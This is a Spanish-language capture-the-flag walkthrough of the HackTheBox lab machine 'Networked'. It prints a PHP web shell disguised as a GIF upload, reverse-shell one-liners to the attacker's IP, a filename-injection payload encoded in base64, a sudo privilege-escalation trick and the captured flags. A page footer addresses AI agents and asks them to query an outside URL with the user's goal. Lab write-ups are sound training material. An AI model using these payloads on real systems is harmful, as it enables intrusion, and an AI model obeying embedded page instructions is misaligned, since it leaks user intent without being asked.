> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md).

# Guía de Networked HackTheBox

Guía de Networked HackTheBox para Linux que cubre enumeración web, evasión de carga, inyección de comandos y escalada con sudo.

{% embed url="<https://app.hackthebox.com/machines/Networked>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración web y revisión del código fuente
* Evasión de la validación de subida de archivos
* Inyección de comandos en un trabajo cron
* Abuso de una mala configuración de sudo
  {% endhint %}

## Reconocimiento

### Configuración del espacio de trabajo

Crea un espacio de trabajo y luego verifica la conectividad con el objetivo.

```bash
mkt

ping -c 1 10.129.5.171
```

La respuesta confirma que el objetivo es un host Linux.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL5o4L1iMKOZ8BWOSIv4X%2Fimage.png?alt=media&amp;token=02a9a145-941c-40f9-baaf-e4d484deea8f" alt=""><figcaption></figcaption></figure>

### Escaneo TCP

Identifica los servicios TCP expuestos con un escaneo completo de puertos.

```bash
sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts
```

El escaneo identifica los puertos `22` y `80`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4UJGX45T2YD0e8psVDgg%2Fimage.png?alt=media&amp;token=24fc0c30-35bc-44b5-8a11-ee4c0a1bc4fb" alt=""><figcaption></figcaption></figure>

### Escaneo de servicios y versiones

Identifica los servicios y las versiones que se ejecutan en los puertos expuestos.

```bash
nmap -sCV -p22,80 10.129.5.171 -oN targeted
```

El host ejecuta Apache `2.4.6` en CentOS con PHP `5.4.16`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXCDgdDhhtiLxAF4KgwPA%2Fimage.png?alt=media&amp;token=7692d41f-dadb-43c1-9b07-a7680aafc81a" alt=""><figcaption></figcaption></figure>

### Puerto 80

El sitio web muestra el siguiente mensaje:

> Hello mate, we're building the new FaceMash!\
> Help by funding us and be the new Tyler\&Cameron!\
> Join us at the pool party this Sat to get a glimpse

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0yLtkIk6txesBmqQ6yhZ%2Fimage.png?alt=media&amp;token=c963710e-f332-4f9f-8e14-66c6882a750f" alt=""><figcaption></figcaption></figure>

Enumera los directorios con Gobuster.

```bash
gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

El escaneo revela `/backup` y `/uploads`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FznYeDtjNIVbUGeOYABpl%2Fimage.png?alt=media&amp;token=f112e3c1-bbbc-4dbf-8e94-d1955ae3c281" alt=""><figcaption></figcaption></figure>

El `/backup` el directorio expone un archivo TAR.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlSo25bKVZsZYVWUxiku6%2Fimage.png?alt=media&amp;token=f5d4e014-d7ec-48f9-b00e-2c57ee8991d2" alt=""><figcaption></figcaption></figure>

Extrae el archivo localmente.

```bash
tar xopf foo.tar
```

El archivo contiene cuatro archivos PHP:

* `index.php`
* lib.php
* photos.php
* upload.php

El `upload.php` la página proporciona un formulario de subida.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1vIL422PNpThM37wn0pb%2Fimage.png?alt=media&amp;token=e50d3cba-04e4-48a7-a4a9-a62af488f8d3" alt=""><figcaption></figcaption></figure>

Una subida directa de PHP falla porque la aplicación valida el formato de la imagen.

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

La aplicación rechaza el archivo como una imagen no válida.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FtzpKS5T5eRHWwvVmp6FN%2Fimage.png?alt=media&amp;token=202e3e70-c00d-439e-8afe-02eda2db2dfa" alt=""><figcaption></figcaption></figure>

Sube un archivo con una cabecera GIF y una `.php.gif` extensión.

```bash
Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif"
Content-Type: application/x-php

GIF89a
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

La aplicación acepta la subida.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwNPxwupdXaD2NRexG2wu%2Fimage.png?alt=media&amp;token=14c78f57-ca92-495e-8d22-61f4f71c739f" alt=""><figcaption></figcaption></figure>

El archivo subido ejecuta código PHP a pesar de su extensión GIF.

```bash
http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCnR6CtmQhfFfl3lU2xBy%2Fimage.png?alt=media&amp;token=05c172cc-17bd-44b5-90c3-0681c7bf0aaf" alt=""><figcaption></figcaption></figure>

Inicia un listener en el puerto `443`.

```bash
sudo nc -nvlp 443
```

Usa la ejecución de comandos para obtener una shell inversa.

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcVoVCtWyymdKrx7YmYwC%2Fimage.png?alt=media&amp;token=fe488c1d-2785-4ade-8057-503d541e8780" alt=""><figcaption></figcaption></figure>

### Pivota a `guly`

Se ejecuta una tarea programada `/home/guly/check_attack.php` cada tres minutos.

```bash
*/3 * * * * php /home/guly/check_attack.php
```

El script revisa archivos en `/var/www/html/uploads/`.

```php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
  if ($value == 'index.html') {
    continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
```

El script pasa cada nombre de archivo a un comando de shell sin manejarlo de forma segura. Inyecta un comando a través de un nombre de archivo manipulado.

Codifica una carga útil de shell inversa.

```bash
echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64
```

La carga útil codificada es:

```
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=
```

Crea el nombre de archivo malicioso.

```bash
touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;"
```

Inicia un listener en el puerto `4444`, luego espera la tarea programada.

```bash
nc -nvlp 4444
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzKfNlqAmd3pwJibgJ8jt%2Fimage.png?alt=media&amp;token=15b85540-e21e-459d-b86c-e9294eea25e0" alt=""><figcaption></figcaption></figure>

La tarea programada devuelve una shell como `guly`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F04IqMUuq3ooyBn44P3d3%2Fimage.png?alt=media&amp;token=91098574-0cac-4abb-9b64-120fa3ab1757" alt=""><figcaption></figcaption></figure>

### Bandera user.txt

```
fbeee367bab941cefca951caef664f27
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNfBLf09GAsb3eGX2noSS%2Fimage.png?alt=media&amp;token=f6aedac1-f708-45e3-b895-abfe0f9abd06" alt=""><figcaption></figcaption></figure>

### Escalada de privilegios

Comprueba los comandos que `guly` puede ejecutar con `sudo`.

```bash
sudo -l 
```

El usuario puede ejecutar `/usr/local/sbin/changename.sh` como `root`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmoMusce0sdPDjJOme9DZ%2Fimage.png?alt=media&amp;token=8403e5cf-c898-4f0f-8112-58c9c0c7f8dd" alt=""><figcaption></figcaption></figure>

El script escribe valores controlados por el usuario en un archivo de configuración de red.

```bash
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0
```

El filtro de entrada permite espacios y barras. Cuando `ifup` procesa la configuración generada, `test /bin/sh` dispara una shell.

Ejecuta el script.

```bash
sudo /usr/local/sbin/changename.sh
```

En cualquier prompt, introduce:

```
test /bin/sh
```

Esto abre una shell como `root`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FOOsz81PTDHASwxFgqP6K%2Fimage.png?alt=media&amp;token=a870548c-b0df-45a9-a53c-12a0eb17a33f" alt=""><figcaption></figcaption></figure>

### Bandera root.txt

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj8hpcKmC3IcIXmwzinG9%2Fimage.png?alt=media&amp;token=4e26a449-7529-41ab-90f4-83542270f047" alt=""><figcaption></figcaption></figure>

```
6fa61de6fa918d2db507070fec1364e8
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
